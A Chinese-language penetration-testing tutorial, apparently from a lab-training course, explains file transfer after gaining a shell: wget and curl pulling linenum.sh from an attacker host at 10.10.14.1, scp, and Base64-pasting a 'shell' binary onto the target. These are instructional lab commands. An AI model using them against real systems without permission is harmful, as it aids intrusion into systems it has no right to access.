文件传输

在渗透测试过程中,我们经常需要将文件(例如枚举脚本或漏洞利用程序)上传到远程服务器,或从目标服务器将数据下载回我们的攻击主机。虽然像带有 Meterpreter Shell 的 Metasploit 这类工具允许我们使用 upload命令上传文件,但我们仍需掌握在标准反弹Shell 环境中进行文件传输的方法。

使用 wget

实现文件传输的方法有很多。其中一种是在我们的攻击机上运行一个 Python HTTP 服务器,然后在已获得代码执行权限的远程主机上使用 wgetcURL来下载文件。

首先,我们进入包含待传输文件的目录,并在该目录下启动一个 Python HTTP 服务器:

 guhusf@htb[/htb]$ cd /tmp
 guhusf@htb[/htb]$ python3 -m http.server 8000
 ​
 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

在攻击机上设置好监听服务器后,我们便可以在远程主机上下载所需文件了:

 user@remotehost$ wget http://10.10.14.1:8000/linenum.sh
 ​
 ...SNIP...
 Saving to: 'linenum.sh'
 ​
 linenum.sh 100%[==============================================>] 144.86K --.-KB/s   in 0.02s
 ​
 2021-02-08 18:09:19 (8.16 MB/s) - 'linenum.sh' saved [14337/14337]

请注意,这里我们使用了攻击机的 IP 地址 10.10.14.1和 Python 服务器运行的端口 8000

如果远程服务器没有安装 wget,我们可以使用 cURL来下载文件:

 user@remotehost$ curl http://10.10.14.1:8000/linenum.sh -o linenum.sh
 ​
 100 144k 100 144k   0     0 176k     0 --:--:-- --:--:-- --:--:-- 176k

此处使用了 -o参数来指定输出文件的名称。

使用 SCP

另一种文件传输方法是使用 SCP(安全复制协议),但这通常要求我们已经获取远程主机的 SSH 用户凭证。操作方法如下:

 guhusf@htb[/htb]$ scp linenum.sh user@remotehost:/tmp/linenum.sh
 ​
 user@remotehost's password: *********
 linenum.sh

需要注意的是,scp命令后先指定本地文件名,冒号 :后指定的是文件在远程主机上保存的路径。

若要传输整个目录,可以使用 -r参数进行递归复制。

使用 Base64 编码

在某些情况下,我们可能无法直接传输文件。例如,远程主机可能启用了防火墙策略,阻止了从我们攻击机下载文件。这种情况下,可以使用一个简单的技巧:将文件进行 Base64 编码,然后将编码后的字符串粘贴到远程服务器上再进行解码。

例如,想要传输一个名为 shell的二进制文件,可以这样进行 Base64 编码:

 guhusf@htb[/htb]$ base64 shell -w 0
 ​
 f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU

接下来,复制这个 Base64 字符串,到远程主机上使用 base64 -d命令解码,并将输出重定向到一个文件中:

 user@remotehost$ echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell

文件传输验证

为了验证文件的类型和完整性,可以在远程主机上运行 file命令检查文件格式:

 user@remotehost$ file shell
 shell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

如上所示,对 shell文件运行 file命令,显示它是一个 ELF 二进制文件,这表明文件已经成功传输。

为了确保文件在编码/解码过程中没有出错,可以检查其 MD5 哈希值。在攻击机上运行:

 guhusf@htb[/htb]$ md5sum shell
 ​
 321de1d7e7c3735838890a72c9ae7d1d shell

然后,在远程服务器上对传输过去的文件运行相同的命令:

 user@remotehost$ md5sum shell
 ​
 321de1d7e7c3735838890a72c9ae7d1d shell

如果两个文件的 MD5 哈希值相同,则表明文件传输是正确的。

文件传输的方法多种多样。您可以查阅 File Transfers 模块以进行更详细的研究。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇